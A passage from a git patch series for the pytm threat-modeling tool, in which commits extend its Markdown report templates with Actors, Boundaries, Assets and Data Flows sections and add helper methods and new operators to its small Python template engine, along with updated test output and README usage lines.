From b794ddf277b8a1d0525f6c326d5f2c95ab3c9283 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nick@ozmore.com>
Date: Wed, 7 Apr 2021 10:12:59 -0400
Subject: [PATCH 01/86] Add sections for Actors and Assets, add finding_id to
 Findings

---
 docs/template.md | 25 +++++++++++++++++++++++--
 1 file changed, 23 insertions(+), 2 deletions(-)

diff --git a/docs/template.md b/docs/template.md
index 55a7a03f..9ff7fae0 100644
--- a/docs/template.md
+++ b/docs/template.md
@@ -31,14 +31,35 @@ Name|Description|Classification
 
 &nbsp;
 
+## Actors
+&nbsp;
+
+Name|Description|Classification
+|:----:|:--------:|:----:|
+{actors:repeat:|{{item.name}}|{{item.description}}|{{item.isAdmin}}|
+}
+
+&nbsp;
+
+## Assets
+&nbsp;
+
+Name|Description|Classification
+|:----:|:--------:|:----:|
+{assets:repeat:|{{item.name}}|{{item.description}}|{{item.__class__.__name__}}|
+}
+
+&nbsp;
+
+
 ## Potential Threats
 
 &nbsp;
 &nbsp;
 
-|{findings:repeat:
+{findings:repeat:
 <details>
-  <summary>   {{item.id}}   --   {{item.description}}</summary>
+  <summary>   {{item.id}}   --   {{item.threat_id}}   --   {{item.description}}</summary>
   <h6> Targeted Element </h6>
   <p> {{item.target}} </p>
   <h6> Severity </h6>

From a9c060a6f28b26ee3daba9243fb5b6d4d04e92fc Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Wed, 7 Apr 2021 17:57:55 -0400
Subject: [PATCH 02/86] Template Reporting Improvements

---
 docs/template.md        | 106 +++++++++++++++++++++++++++++++---------
 pytm/report_util.py     |  33 +++++++++++++
 pytm/template_engine.py |  29 ++++++++++-
 tm.py                   |  10 ++++
 4 files changed, 154 insertions(+), 24 deletions(-)
 create mode 100644 pytm/report_util.py

diff --git a/docs/template.md b/docs/template.md
index 9ff7fae0..86e9a128 100644
--- a/docs/template.md
+++ b/docs/template.md
@@ -21,12 +21,15 @@ Name|From|To |Data|Protocol|Port
 {dataflows:repeat:|{{item.name}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}|
 }
 
+<br>
+<br>
+
 ## Data Dictionary
 &nbsp;
 
-Name|Description|Classification
-|:----:|:--------:|:----:|
-{data:repeat:|{{item.name}}|{{item.description}}|{{item.classification.name}}|
+Name|Description|Classification|Carried|Processed
+|:----:|:--------:|:----:|:----|:----|
+{data:repeat:|{{item.name}}|{{item.description}}|{{item.classification.name}}|{{item.carriedBy:repeat:{{{{item.name}}}}<br>}}|{{item.processedBy:repeat:{{{{item.name}}}}<br>}}|
 }
 
 &nbsp;
@@ -34,44 +37,103 @@ Name|Description|Classification
 ## Actors
 &nbsp;
 
-Name|Description|Classification
+Name|Description|isAdmin
 |:----:|:--------:|:----:|
 {actors:repeat:|{{item.name}}|{{item.description}}|{{item.isAdmin}}|
 }
 
-&nbsp;
+<br>
+<br>
 
-## Assets
-&nbsp;
+## Boundaries 
+
+{boundaries:repeat:
+Element|{{item.name}}
+|:----|:----|
+Description|{{item.description}}|
+InScope|{{item.inScope}}|
+Parent|{{item:utils:getParentName}}|
+Parents|{{item.parents:call:{{{{item.name}}}}, }}|
+Classification|{{item.maxClassification}}|
+
+<br>
+<br>
 
-Name|Description|Classification
-|:----:|:--------:|:----:|
-{assets:repeat:|{{item.name}}|{{item.description}}|{{item.__class__.__name__}}|
 }
 
-&nbsp;
+## Assets 
 
+{assets:repeat:
 
-## Potential Threats
+<br>
+<hr>
 
-&nbsp;
-&nbsp;
+Element|{{item.name}}
+|:----|:----|
+Description|{{item.description}}|
+InScope|{{item.inScope}}|
+Type|{{item.__class__.__name__}}|
+Finding Count|{{item:utils:countFindings}}|
+
+###### Threats 
 
-{findings:repeat:
+{{item.findings:repeat:
 <details>
-  <summary>   {{item.id}}   --   {{item.threat_id}}   --   {{item.description}}</summary>
+  <summary>   {{{{item.id}}}}  --  {{{{item.threat_id}}}}   --   {{{{item.description}}}}</summary>
   <h6> Targeted Element </h6>
-  <p> {{item.target}} </p>
+  <p> {{{{item.target}}}} </p>
   <h6> Severity </h6>
-  <p>{{item.severity}}</p>
+  <p>{{{{item.severity}}}}</p>
   <h6>Example Instances</h6>
-  <p>{{item.example}}</p>
+  <p>{{{{item.example}}}}</p>
   <h6>Mitigations</h6>
-  <p>{{item.mitigations}}</p>
+  <p>{{{{item.mitigations}}}}</p>
   <h6>References</h6>
-  <p>{{item.references}}</p>
+  <p>{{{{item.references}}}}</p>
   &nbsp;
   &nbsp;
   &emsp;
 </details>
-}|
+}}
+}
+
+<br>
+<br>
+
+## Data Flows 
+
+{dataflows:repeat(e):
+
+<br>
+<hr>
+
+Dataflow|{{item.name}}
+|:----|:----|
+Description|{{item.description}}|
+InScope|{{item.inScope}}|
+Finding Count|{{item:utils:countFindings}}|
+
+###### Threats 
+
+{{item.findings:repeat:
+<details>
+  <summary>   {{{{item.id}}}}  --  {{{{item.threat_id}}}}   --   {{{{item.description}}}}</summary>
+  <h6> Targeted Element </h6>
+  <p> {{{{item.target}}}} </p>
+  <h6> Severity </h6>
+  <p>{{{{item.severity}}}}</p>
+  <h6>Example Instances</h6>
+  <p>{{{{item.example}}}}</p>
+  <h6>Mitigations</h6>
+  <p>{{{{item.mitigations}}}}</p>
+  <h6>References</h6>
+  <p>{{{{item.references}}}}</p>
+  &nbsp;
+  &nbsp;
+  &emsp;
+</details>
+}}
+
+}
+
+&nbsp;
diff --git a/pytm/report_util.py b/pytm/report_util.py
new file mode 100644
index 00000000..8de6f7ed
--- /dev/null
+++ b/pytm/report_util.py
@@ -0,0 +1,33 @@
+
+class ReportUtils:
+    @staticmethod
+    def getParentName(element):
+        from pytm import Boundary
+        if (isinstance(element, Boundary)):
+            parent = element.inBoundary
+            if (parent is not None):
+                return parent.name
+            else:
+                return str("")
+        else:
+            return "ERROR: getParentName method is not valid for " + element.__class__.__name__
+
+
+    @staticmethod
+    def printParents(element):
+        from pytm import Boundary
+        if (isinstance(element, Boundary)):
+            parents = map(lambda b: b.name, element.parents())
+            return list(parents) 
+        else:
+            return "ERROR: printParents method is not valid for " + element.__class__.__name__
+
+    @staticmethod
+    def countFindings(element):
+        from pytm import Element
+        if (isinstance(element, Element)):
+            return str(len(list(element.findings)))
+        else:
+            return "ERROR: countFindings method is not valid for " + element.___class___.___name___
+
+            
\ No newline at end of file
diff --git a/pytm/template_engine.py b/pytm/template_engine.py
index 916939fe..1f2a7126 100644
--- a/pytm/template_engine.py
+++ b/pytm/template_engine.py
@@ -12,8 +12,33 @@ def format_field(self, value, spec):
             if type(value) is dict:
                 value = value.items()
             return "".join([self.format(template, item=item) for item in value])
-        elif spec == "call":
-            return value()
+        elif spec.startswith("call"):
+            result = value()
+            if type(result) is list:
+                template = spec.partition(":")[-1]
+                return "".join([self.format(template, item=item) for item in result])
+
+            return result
+        elif spec.startswith("utils"):
+
+            spec_parts = spec.split(":")
+
+            method_name = spec_parts[1]
+            template = spec_parts[-1]
+
+            module_name = "pytm.report_util"
+            klass_name = "ReportUtils"
+            module = __import__(module_name, fromlist=['ReportUtils'])
+            klass = getattr(module, klass_name)
+
+            method = getattr(klass, method_name)
+            result = method(value)
+
+            if type(result) is list:
+                return "".join([self.format(template, item=item) for item in result])
+            
+            return result
+
         elif spec.startswith("if"):
             return (value and spec.partition(":")[-1]) or ""
         else:
diff --git a/tm.py b/tm.py
index 7dc32709..b756d7e4 100755
--- a/tm.py
+++ b/tm.py
@@ -17,10 +17,20 @@
 tm.isOrdered = True
 tm.mergeResponses = True
 
+all = Boundary("TM Boundary")
 internet = Boundary("Internet")
+internet.inBoundary = all
+
+company = Boundary("Company")
+company.inBoundary = all
+
 server_db = Boundary("Server/DB")
 server_db.levels = [2]
+server_db.inBoundary = company
+
 vpc = Boundary("AWS VPC")
+vpc.inBoundary = all
+
 
 user = Actor("User")
 user.inBoundary = internet

From 8cfa40a420703f5d9abb7a544e853f3b84f41d53 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Wed, 7 Apr 2021 18:21:28 -0400
Subject: [PATCH 03/86] updated tests

---
 .gitignore             |   1 +
 tests/output.md        | 212 +++++++++++++++++++++++++++++++++++++++--
 tests/test_pytmfunc.py |   3 +
 3 files changed, 209 insertions(+), 7 deletions(-)

diff --git a/.gitignore b/.gitignore
index 24bf1143..f67268c8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -126,6 +126,7 @@ plantuml.jar
 tm/
 /sqldump
 /tests/output_current.json
+/tests/output_current.md
 /tests/1.txt
 /tests/0.txt
 /tests/.config.pytm
diff --git a/tests/output.md b/tests/output.md
index 23805a06..55297876 100644
--- a/tests/output.md
+++ b/tests/output.md
@@ -26,19 +26,217 @@ Name|From|To |Data|Protocol|Port
 |Query for tasks|Task queue worker|SQL Database|[]||-1|
 
 
+<br>
+<br>
+
 ## Data Dictionary
 &nbsp;
 
-Name|Description|Classification
-|:----:|:--------:|:----:|
-|auth cookie||PUBLIC|
+Name|Description|Classification|Carried|Processed
+|:----:|:--------:|:----:|:----|:----|
+|auth cookie||PUBLIC|User enters comments (*)<br>|User<br>Web Server<br>|
 
 
 &nbsp;
 
-## Potential Threats
-
-&nbsp;
+## Actors
 &nbsp;
 
-||
+Name|Description|isAdmin
+|:----:|:--------:|:----:|
+|User||False|
+
+
+<br>
+<br>
+
+## Boundaries 
+
+
+Element|Internet
+|:----|:----|
+Description||
+InScope|True|
+Parent||
+Parents||
+Classification|Classification.UNKNOWN|
+
+<br>
+<br>
+
+
+Element|Server/DB
+|:----|:----|
+Description||
+InScope|True|
+Parent||
+Parents||
+Classification|Classification.UNKNOWN|
+
+<br>
+<br>
+
+
+
+## Assets 
+
+
+
+<br>
+<hr>
+
+Element|Web Server
+|:----|:----|
+Description||
+InScope|True|
+Type|Server|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+<br>
+<hr>
+
+Element|Lambda func
+|:----|:----|
+Description||
+InScope|True|
+Type|Lambda|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+<br>
+<hr>
+
+Element|Task queue worker
+|:----|:----|
+Description||
+InScope|True|
+Type|Process|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+<br>
+<hr>
+
+Element|SQL Database
+|:----|:----|
+Description||
+InScope|True|
+Type|Datastore|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+<br>
+<br>
+
+## Data Flows 
+
+
+
+<br>
+<hr>
+
+Dataflow|User enters comments (*)
+|:----|:----|
+Description||
+InScope|True|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+
+<br>
+<hr>
+
+Dataflow|Insert query with comments
+|:----|:----|
+Description||
+InScope|True|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+
+<br>
+<hr>
+
+Dataflow|Call func
+|:----|:----|
+Description||
+InScope|True|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+
+<br>
+<hr>
+
+Dataflow|Retrieve comments
+|:----|:----|
+Description||
+InScope|True|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+
+<br>
+<hr>
+
+Dataflow|Show comments (*)
+|:----|:----|
+Description||
+InScope|True|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+
+<br>
+<hr>
+
+Dataflow|Query for tasks
+|:----|:----|
+Description||
+InScope|True|
+Finding Count|0|
+
+###### Threats 
+
+
+
+
+
+&nbsp;
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index d6f7fa50..e43b058e 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -354,6 +354,9 @@ def test_report(self):
         self.assertTrue(tm.check())
         output = tm.report("docs/template.md")
 
+        with open(os.path.join(dir_path, "output_current.md"), "w") as x:
+            x.write(output)
+
         self.maxDiff = None
         self.assertEqual(output.strip(), expected.strip())
 

From ae607f37aab224af5f6d466b2bdf0394484f5dc2 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Thu, 8 Apr 2021 10:08:54 -0400
Subject: [PATCH 04/86] Changed util method names, added getElementType method,
 and bug fix on error message

---
 docs/template.md    |  6 +++---
 pytm/report_util.py | 17 +++++++++++++----
 2 files changed, 16 insertions(+), 7 deletions(-)

diff --git a/docs/template.md b/docs/template.md
index 86e9a128..f2847805 100644
--- a/docs/template.md
+++ b/docs/template.md
@@ -72,8 +72,8 @@ Element|{{item.name}}
 |:----|:----|
 Description|{{item.description}}|
 InScope|{{item.inScope}}|
-Type|{{item.__class__.__name__}}|
-Finding Count|{{item:utils:countFindings}}|
+Type|{{item:utils:getElementType}}|
+Finding Count|{{item:utils:getFindingCount}}|
 
 ###### Threats 
 
@@ -111,7 +111,7 @@ Dataflow|{{item.name}}
 |:----|:----|
 Description|{{item.description}}|
 InScope|{{item.inScope}}|
-Finding Count|{{item:utils:countFindings}}|
+Finding Count|{{item:utils:getFindingCount}}|
 
 ###### Threats 
 
diff --git a/pytm/report_util.py b/pytm/report_util.py
index 8de6f7ed..0a3d8040 100644
--- a/pytm/report_util.py
+++ b/pytm/report_util.py
@@ -14,20 +14,29 @@ def getParentName(element):
 
 
     @staticmethod
-    def printParents(element):
+    def getNamesOfParents(element):
         from pytm import Boundary
         if (isinstance(element, Boundary)):
             parents = map(lambda b: b.name, element.parents())
             return list(parents) 
         else:
-            return "ERROR: printParents method is not valid for " + element.__class__.__name__
+            return "ERROR: getNamesOfParents method is not valid for " + element.__class__.__name__
 
     @staticmethod
-    def countFindings(element):
+    def getFindingCount(element):
         from pytm import Element
         if (isinstance(element, Element)):
             return str(len(list(element.findings)))
         else:
-            return "ERROR: countFindings method is not valid for " + element.___class___.___name___
+            return "ERROR: getFindingCount method is not valid for " + element.__class__.__name__
+
+    @staticmethod
+    def getElementType(element):
+        from pytm import Element
+        if (isinstance(element, Element)):
+            return str(element.__class__.__name__)
+        else:
+            return "ERROR: getElementType method is not valid for " + element.__class__.__name__
+
 
             
\ No newline at end of file

From 4b6e2b8b384327c81bcdd46fa5f3225598e5b832 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Sat, 10 Apr 2021 01:10:26 -0400
Subject: [PATCH 05/86] Code, template cleanup, refactored template engine
 operations, addressed review comments and deep code suggestion

---
 docs/Stylesheet.css     |  10 ++-
 docs/template.md        | 123 ++++++++++++++++------------
 pytm/report_util.py     |   7 +-
 pytm/template_engine.py |  88 +++++++++++++++-----
 tests/output.md         | 174 +++++++++++++---------------------------
 5 files changed, 203 insertions(+), 199 deletions(-)

diff --git a/docs/Stylesheet.css b/docs/Stylesheet.css
index 1872c7da..425604fe 100644
--- a/docs/Stylesheet.css
+++ b/docs/Stylesheet.css
@@ -43,8 +43,8 @@ hr {
 	opacity: .5;
 } 
 table {
-    margin: .75rem 0;
-	padding: 0;
+    margin: .75rem 0 0 1rem;
+    padding: 0;
     width: 50%;
     text-align: left;
     white-space: nowrap;
@@ -76,4 +76,8 @@ table tr td {
 	text-align: left;
 	border: 1px solid #ccc;
 }
-/* @end */
\ No newline at end of file
+
+details {
+	margin-left: 2rem
+}
+/* @end */
diff --git a/docs/template.md b/docs/template.md
index f2847805..9054e8c6 100644
--- a/docs/template.md
+++ b/docs/template.md
@@ -1,12 +1,9 @@
 <link href="docs/Stylesheet.css" rel="stylesheet"></link>
 
 ## System Description
-&nbsp;
 
 {tm.description}
 
-&nbsp;
-
 ## Dataflow Diagram - Level 0 DFD
 
 ![](sample.png)
@@ -14,68 +11,99 @@
 &nbsp;
 
 ## Dataflows
-&nbsp;
 
 Name|From|To |Data|Protocol|Port
 |:----:|:----:|:---:|:----:|:--------:|:----:|
 {dataflows:repeat:|{{item.name}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}|
 }
 
-<br>
-<br>
-
 ## Data Dictionary
-&nbsp;
 
 Name|Description|Classification|Carried|Processed
 |:----:|:--------:|:----:|:----|:----|
 {data:repeat:|{{item.name}}|{{item.description}}|{{item.classification.name}}|{{item.carriedBy:repeat:{{{{item.name}}}}<br>}}|{{item.processedBy:repeat:{{{{item.name}}}}<br>}}|
 }
 
-&nbsp;
-
 ## Actors
-&nbsp;
 
-Name|Description|isAdmin
-|:----:|:--------:|:----:|
-{actors:repeat:|{{item.name}}|{{item.description}}|{{item.isAdmin}}|
-}
+{actors:repeat:
+Name|{{item.name}}
+|:----|:----|
+Description|{{item.description}}|
+Is Admin|{{item.isAdmin}}
+Finding Count|{{item:call:getFindingCount}}|
+
+{{item.findings:if:
 
-<br>
-<br>
+**Threats**
+
+{{item.findings:repeat:
+<details>
+  <summary>   {{{{item.id}}}}  --  {{{{item.threat_id}}}}   --   {{{{item.description}}}}</summary>
+  <h6> Targeted Element </h6>
+  <p> {{{{item.target}}}} </p>
+  <h6> Severity </h6>
+  <p>{{{{item.severity}}}}</p>
+  <h6>Example Instances</h6>
+  <p>{{{{item.example}}}}</p>
+  <h6>Mitigations</h6>
+  <p>{{{{item.mitigations}}}}</p>
+  <h6>References</h6>
+  <p>{{{{item.references}}}}</p>
+  &emsp;
+</details>
+}}
+}}
+}
 
 ## Boundaries 
 
 {boundaries:repeat:
-Element|{{item.name}}
+Name|{{item.name}}
 |:----|:----|
 Description|{{item.description}}|
-InScope|{{item.inScope}}|
-Parent|{{item:utils:getParentName}}|
-Parents|{{item.parents:call:{{{{item.name}}}}, }}|
+In Scope|{{item.inScope}}|
+Immediate Parent|{{item:call:getParentName}}{{item.parents:not:Primary Boundary}}|
+All Parents|{{item.parents:call:{{{{item.name}}}}, }}|
 Classification|{{item.maxClassification}}|
+Finding Count|{{item:call:getFindingCount}}|
+
+{{item.findings:if:
 
-<br>
-<br>
+**Threats**
 
+{{item.findings:repeat:
+<details>
+  <summary>   {{{{item.id}}}}  --  {{{{item.threat_id}}}}   --   {{{{item.description}}}}</summary>
+  <h6> Targeted Element </h6>
+  <p> {{{{item.target}}}} </p>
+  <h6> Severity </h6>
+  <p>{{{{item.severity}}}}</p>
+  <h6>Example Instances</h6>
+  <p>{{{{item.example}}}}</p>
+  <h6>Mitigations</h6>
+  <p>{{{{item.mitigations}}}}</p>
+  <h6>References</h6>
+  <p>{{{{item.references}}}}</p>
+  &emsp;
+</details>
+}}
+}}
 }
 
 ## Assets 
 
 {assets:repeat:
-
-<br>
-<hr>
-
-Element|{{item.name}}
+|Name|{{item.name}}|
 |:----|:----|
 Description|{{item.description}}|
-InScope|{{item.inScope}}|
-Type|{{item:utils:getElementType}}|
-Finding Count|{{item:utils:getFindingCount}}|
+In Scope|{{item.inScope}}|
+Type|{{item:call:getElementType}}|
+Finding Count|{{item:call:getFindingCount}}|
 
-###### Threats 
+{{item.findings:if:
+
+**Threats**
 
 {{item.findings:repeat:
 <details>
@@ -91,29 +119,26 @@ Finding Count|{{item:utils:getFindingCount}}|
   <h6>References</h6>
   <p>{{{{item.references}}}}</p>
   &nbsp;
-  &nbsp;
-  &emsp;
 </details>
 }}
+}}
 }
 
-<br>
-<br>
-
 ## Data Flows 
 
-{dataflows:repeat(e):
-
-<br>
-<hr>
-
-Dataflow|{{item.name}}
+{dataflows:repeat:
+Name|{{item.name}}
 |:----|:----|
 Description|{{item.description}}|
-InScope|{{item.inScope}}|
-Finding Count|{{item:utils:getFindingCount}}|
+Sink|{{item.sink}}|
+Source|{{item.source}}|
+|Is Response|{{item.isResponse}}
+In Scope|{{item.inScope}}|
+Finding Count|{{item:call:getFindingCount}}|
+
+{{item.findings:if:
 
-###### Threats 
+**Threats**
 
 {{item.findings:repeat:
 <details>
@@ -128,12 +153,8 @@ Finding Count|{{item:utils:getFindingCount}}|
   <p>{{{{item.mitigations}}}}</p>
   <h6>References</h6>
   <p>{{{{item.references}}}}</p>
-  &nbsp;
-  &nbsp;
   &emsp;
 </details>
 }}
-
+}}
 }
-
-&nbsp;
diff --git a/pytm/report_util.py b/pytm/report_util.py
index 0a3d8040..90df7de6 100644
--- a/pytm/report_util.py
+++ b/pytm/report_util.py
@@ -17,8 +17,8 @@ def getParentName(element):
     def getNamesOfParents(element):
         from pytm import Boundary
         if (isinstance(element, Boundary)):
-            parents = map(lambda b: b.name, element.parents())
-            return list(parents) 
+            parents = [p.name for p in element.parents()] 
+            return parents 
         else:
             return "ERROR: getNamesOfParents method is not valid for " + element.__class__.__name__
 
@@ -37,6 +37,3 @@ def getElementType(element):
             return str(element.__class__.__name__)
         else:
             return "ERROR: getElementType method is not valid for " + element.__class__.__name__
-
-
-            
\ No newline at end of file
diff --git a/pytm/template_engine.py b/pytm/template_engine.py
index 1f2a7126..6e5d7cef 100644
--- a/pytm/template_engine.py
+++ b/pytm/template_engine.py
@@ -1,4 +1,6 @@
 # shamelessly lifted from https://makina-corpus.com/blog/metier/2016/the-worlds-simplest-python-template-engine
+# but modified to include support to call methods which return lists, to call external utility methods, use
+# if operator with methods and added a not operator.
 
 import string
 
@@ -7,39 +9,83 @@ class SuperFormatter(string.Formatter):
     """World's simplest Template engine."""
 
     def format_field(self, value, spec):
+        spec_parts = spec.split(":")
         if spec.startswith("repeat"):
+           # Example usage, format, count of spec_parts, exampple format
+           # object:repeat:template           2          {item.findings:repeat:{{item.id}}, }
+
             template = spec.partition(":")[-1]
             if type(value) is dict:
                 value = value.items()
             return "".join([self.format(template, item=item) for item in value])
+
         elif spec.startswith("call"):
-            result = value()
-            if type(result) is list:
-                template = spec.partition(":")[-1]
-                return "".join([self.format(template, item=item) for item in result])
+           # Example usage, format, count of spec_parts, exampple format
+           # methood:call                     1          {item:call:getParentName}
+           # methood:call:template            2          {item.parents:call:{{item.name}}, }
+           # object:call:method_name          2          {item:call:getFindingCount}
+           # object:call:method_name:template 3          {item:call:getNamesOfParents:
+           #                                             **{{item}}**
+           #                                             }
+
+            if (hasattr(value, "__call__")):
+
+                result = value()
+                if type(result) is list:
+                    template = spec.partition(":")[-1]
+                    return "".join([self.format(template, item=item) for item in result])
+
+                return result
 
-            return result
-        elif spec.startswith("utils"):
+            else:
 
-            spec_parts = spec.split(":")
+                method_name = spec_parts[1]
+                template = spec_parts[-1]
 
-            method_name = spec_parts[1]
-            template = spec_parts[-1]
+                result = self.call_util_method(method_name, value)
 
-            module_name = "pytm.report_util"
-            klass_name = "ReportUtils"
-            module = __import__(module_name, fromlist=['ReportUtils'])
-            klass = getattr(module, klass_name)
+                if type(result) is list:
+                    return "".join([self.format(template, item=item) for item in result])
 
-            method = getattr(klass, method_name)
-            result = method(value)
+                return result
 
-            if type(result) is list:
-                return "".join([self.format(template, item=item) for item in result])
-            
-            return result
+            return "ERROR using call operator"
+
+        elif (spec.startswith("if") or spec.startswith("not")):
+           # Example usage, format, count of spec_parts, exampple format
+           # object.boolean:if:template       2       {item.isResponse:if:True}
+           # method:if:method_name:template   3       {item.parents:if:Has a parent}
+           # object:if:method_name:template   3       {item:if:getNamesOfParents:
+           #                                          **{{item}}**
+           #                                          }
+           # object.boolean:not:template       2       {item.isResponse:not:False}
+           # method:not:method_name:template   3       {item.parents:not:Does not have a parents}
+           # object:not:method_name:template   3       {item:not:getNamesOfParents:
+           #                                          **{{item}}**
+           #                                          }
+
+            if (hasattr(value, "__call__")):
+                result = value()
+            elif(len(spec_parts) == 3):
+                method_name = spec_parts[1]
+                result = self.call_util_method(method_name, value)
+            else:
+                result = value
+
+            if (spec.startswith("if")):
+                return (result and spec_parts[-1]) or ""
+            else: 
+                return (not result and spec_parts[-1]) or ""
 
-        elif spec.startswith("if"):
-            return (value and spec.partition(":")[-1]) or ""
         else:
             return super(SuperFormatter, self).format_field(value, spec)
+
+    def call_util_method(self, method_name, object):
+        module_name = "pytm.report_util"
+        klass_name = "ReportUtils"
+        module = __import__(module_name, fromlist=['ReportUtils'])
+        klass = getattr(module, klass_name)
+        method = getattr(klass, method_name)
+
+        result = method(object)
+        return result
diff --git a/tests/output.md b/tests/output.md
index 55297876..4bf8c319 100644
--- a/tests/output.md
+++ b/tests/output.md
@@ -1,12 +1,9 @@
 <link href="docs/Stylesheet.css" rel="stylesheet"></link>
 
 ## System Description
-&nbsp;
 
 aaa
 
-&nbsp;
-
 ## Dataflow Diagram - Level 0 DFD
 
 ![](sample.png)
@@ -14,7 +11,6 @@ aaa
 &nbsp;
 
 ## Dataflows
-&nbsp;
 
 Name|From|To |Data|Protocol|Port
 |:----:|:----:|:---:|:----:|:--------:|:----:|
@@ -26,217 +22,157 @@ Name|From|To |Data|Protocol|Port
 |Query for tasks|Task queue worker|SQL Database|[]||-1|
 
 
-<br>
-<br>
-
 ## Data Dictionary
-&nbsp;
 
 Name|Description|Classification|Carried|Processed
 |:----:|:--------:|:----:|:----|:----|
 |auth cookie||PUBLIC|User enters comments (*)<br>|User<br>Web Server<br>|
 
 
-&nbsp;
-
 ## Actors
-&nbsp;
 
-Name|Description|isAdmin
-|:----:|:--------:|:----:|
-|User||False|
+
+Name|User
+|:----|:----|
+Description||
+Is Admin|False
+Finding Count|0|
+
 
 
-<br>
-<br>
 
 ## Boundaries 
 
 
-Element|Internet
+Name|Internet
 |:----|:----|
 Description||
-InScope|True|
-Parent||
-Parents||
+In Scope|True|
+Immediate Parent|Primary Boundary|
+All Parents||
 Classification|Classification.UNKNOWN|
+Finding Count|0|
 
-<br>
-<br>
 
 
-Element|Server/DB
+Name|Server/DB
 |:----|:----|
 Description||
-InScope|True|
-Parent||
-Parents||
+In Scope|True|
+Immediate Parent|Primary Boundary|
+All Parents||
 Classification|Classification.UNKNOWN|
+Finding Count|0|
 
-<br>
-<br>
 
 
 
 ## Assets 
 
 
-
-<br>
-<hr>
-
-Element|Web Server
+|Name|Web Server|
 |:----|:----|
 Description||
-InScope|True|
+In Scope|True|
 Type|Server|
 Finding Count|0|
 
-###### Threats 
-
-
-
 
-<br>
-<hr>
 
-Element|Lambda func
+|Name|Lambda func|
 |:----|:----|
 Description||
-InScope|True|
+In Scope|True|
 Type|Lambda|
 Finding Count|0|
 
-###### Threats 
 
 
-
-
-<br>
-<hr>
-
-Element|Task queue worker
+|Name|Task queue worker|
 |:----|:----|
 Description||
-InScope|True|
+In Scope|True|
 Type|Process|
 Finding Count|0|
 
-###### Threats 
-
 
 
-
-<br>
-<hr>
-
-Element|SQL Database
+|Name|SQL Database|
 |:----|:----|
 Description||
-InScope|True|
+In Scope|True|
 Type|Datastore|
 Finding Count|0|
 
-###### Threats 
-
 
 
 
-<br>
-<br>
-
 ## Data Flows 
 
 
-
-<br>
-<hr>
-
-Dataflow|User enters comments (*)
+Name|User enters comments (*)
 |:----|:----|
 Description||
-InScope|True|
+Sink|Server(Web Server)|
+Source|Actor(User)|
+|Is Response|False
+In Scope|True|
 Finding Count|0|
 
-###### Threats 
-
-
-
-
 
-<br>
-<hr>
 
-Dataflow|Insert query with comments
+Name|Insert query with comments
 |:----|:----|
 Description||
-InScope|True|
+Sink|Datastore(SQL Database)|
+Source|Server(Web Server)|
+|Is Response|False
+In Scope|True|
 Finding Count|0|
 
-###### Threats 
 
 
-
-
-
-<br>
-<hr>
-
-Dataflow|Call func
+Name|Call func
 |:----|:----|
 Description||
-InScope|True|
+Sink|Lambda(Lambda func)|
+Source|Server(Web Server)|
+|Is Response|False
+In Scope|True|
 Finding Count|0|
 
-###### Threats 
-
-
-
 
 
-<br>
-<hr>
-
-Dataflow|Retrieve comments
+Name|Retrieve comments
 |:----|:----|
 Description||
-InScope|True|
+Sink|Server(Web Server)|
+Source|Datastore(SQL Database)|
+|Is Response|False
+In Scope|True|
 Finding Count|0|
 
-###### Threats 
-
-
-
 
 
-<br>
-<hr>
-
-Dataflow|Show comments (*)
+Name|Show comments (*)
 |:----|:----|
 Description||
-InScope|True|
+Sink|Actor(User)|
+Source|Server(Web Server)|
+|Is Response|False
+In Scope|True|
 Finding Count|0|
 
-###### Threats 
-
-
 
 
-
-<br>
-<hr>
-
-Dataflow|Query for tasks
+Name|Query for tasks
 |:----|:----|
 Description||
-InScope|True|
+Sink|Datastore(SQL Database)|
+Source|Process(Task queue worker)|
+|Is Response|False
+In Scope|True|
 Finding Count|0|
 
-###### Threats 
-
 
 
-
-
-&nbsp;

From 26f8bd5c9b0eb69de974cc69dfb9e71a7b3acb86 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Thu, 15 Apr 2021 03:51:10 -0400
Subject: [PATCH 06/86] Bugfix+review comments. Created 2 templates, updated
 tests, README, sample.png. Reverted changes to tm.py.

---
 README.md                                  |   6 +-
 docs/{template.md => advanced_template.md} |   3 +-
 docs/basic_template.md                     |  56 ++++++++
 pytm/template_engine.py                    |  75 +++++-----
 sample.png                                 | Bin 24347 -> 60312 bytes
 tests/output.md                            | 160 ++-------------------
 tests/test_pytmfunc.py                     |   2 +-
 tm.py                                      |   9 +-
 8 files changed, 109 insertions(+), 202 deletions(-)
 rename docs/{template.md => advanced_template.md} (96%)
 create mode 100644 docs/basic_template.md

diff --git a/README.md b/README.md
index e4a0efc5..487ef6ec 100644
--- a/README.md
+++ b/README.md
@@ -30,7 +30,7 @@ The `tm.py` is an example model. You can run it to generate the report and diagr
 
 ```
 mkdir -p tm
-./tm.py --report docs/template.md | pandoc -f markdown -t html > tm/report.html
+./tm.py --report docs/basic_template.md | pandoc -f markdown -t html > tm/report.html
 ./tm.py --dfd | dot -Tpng -o tm/dfd.png
 ./tm.py --seq | java -Djava.awt.headless=true -jar $PLANTUML_PATH -tpng -pipe > tm/seq.png
 ```
@@ -64,7 +64,7 @@ optional arguments:
   -h, --help           show this help message and exit
   --debug              print debug messages
   --dfd                output DFD (default)
-  --report REPORT      output report using the named template file (sample template file is under docs/template.md)
+  --report REPORT      output report using the named template file (sample template file is under docs/basic_template.md)
